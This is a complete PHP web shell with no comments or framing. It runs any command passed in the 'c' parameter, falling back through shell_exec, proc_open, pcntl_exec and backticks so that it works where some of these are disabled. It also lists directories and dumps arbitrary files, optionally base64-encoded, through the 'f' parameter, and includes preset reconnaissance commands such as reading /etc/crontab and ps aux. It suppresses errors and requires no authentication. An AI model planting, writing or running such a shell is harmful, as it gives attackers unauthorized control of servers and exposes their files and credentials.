<?php
error_reporting(0);
header('Content-Type: text/plain; charset=utf-8');

function rk_p($v) { return is_scalar($v) ? (string) $v : ''; }

function rk_via_shell($cmd) {
    $out = '';
    if (function_exists('shell_exec')) { $out = @shell_exec($cmd . ' 2>&1'); }
    if (($out === false || $out === null || $out === '') && function_exists('proc_open')) {
        $desc = array(1 => array('pipe', 'w'), 2 => array('pipe', 'w'));
        $ph = @proc_open($cmd, $desc, $pipes);
        if (is_resource($ph)) {
            $out = @stream_get_contents($pipes[1]) . @stream_get_contents($pipes[2]);
            @proc_close($ph);
        }
    }
    if ($out === false || $out === null) { $out = ''; }
    return $out;
}

function rk_via_pctnl($cmd) {
    if (!function_exists('pcntl_fork') || !function_exists('pcntl_exec')) { return ''; }
    $tmp = @tempnam(@sys_get_temp_dir(), 'rk');
    if ($tmp === false) { $tmp = '/tmp/rk' . @getmypid(); }
    @file_put_contents($tmp, '');
    $pid = @pcntl_fork();
    if ($pid === -1 || $pid === false) { return ''; }
    if ($pid === 0) {
        $fd = @fopen($tmp, 'w');
        if ($fd) { @fclose($fd); }
        @pcntl_exec('/bin/sh', array('-c', '(' . $cmd . ') > ' . $tmp . ' 2>&1'));
        exit(0);
    }
    $n = 0;
    while ($n < 60) {
        usleep(100000);
        $n++;
        if (@filesize($tmp) > 0) { break; }
    }
    @pcntl_waitpid($pid, $st, WNOHANG);
    $out = @file_get_contents($tmp);
    @unlink($tmp);
    if ($out === false || $out === null) { $out = ''; }
    return $out;
}

function rk_via_backtick($cmd) {
    $out = @`$cmd 2>&1`;
    if ($out === false || $out === null) { $out = ''; }
    return $out;
}

function rk_run($cmd) {
    $out = rk_via_shell($cmd);
    if ($out === '') { $out = rk_via_pctnl($cmd); }
    if ($out === '') { $out = rk_via_backtick($cmd); }
    return $out;
}

$in  = array_merge($_GET, $_POST);
$cmd = isset($in['c'])   ? rk_p($in['c'])   : '';
$fn  = isset($in['f'])   ? rk_p($in['f'])   : '';
$b64 = isset($in['b64']) && $in['b64'] !== '' && $in['b64'] !== '0';

if ($cmd === '' && $fn === '') { $cmd = 'id'; }

if ($cmd !== '') {
    echo rk_run($cmd);
    exit;
}

$map = array(
    'id'       => 'id',
    'whoami'   => 'whoami',
    'hostname' => 'hostname',
    'uname'    => 'uname -a',
    'pwd'      => 'pwd',
    'date'     => 'date',
    'uptime'   => 'uptime',
    'df'       => 'df -h',
    'cron'     => 'cat /etc/crontab',
    'proc'     => 'ps aux',
);

$path = $fn;
if (isset($map[$path])) { echo rk_run($map[$path]); exit; }

if (is_dir($path)) {
    echo 'OK: dir=' . $path . "\n";
    $h = @scandir($path);
    if (is_array($h)) {
        foreach ($h as $f) {
            if ($f === '.' || $f === '..') { continue; }
            $p = $path . '/' . $f;
            echo (@is_dir($p) ? 'd' : '-') . ' ' . @substr(sprintf('%o', @fileperms($p)), -4) . ' ' . @filesize($p) . ' ' . $f . "\n";
        }
    }
    exit;
}

if (@is_file($path)) {
    $d = @file_get_contents($path);
    if ($d === false) { echo 'ERR: cannot read ' . $path . "\n"; exit; }
    if ($b64) { echo base64_encode($d); exit; }
    echo 'OK: file=' . $path . ' bytes=' . strlen($d) . "\n" . $d;
    exit;
}

echo 'ERR: not found ' . $path . "\n";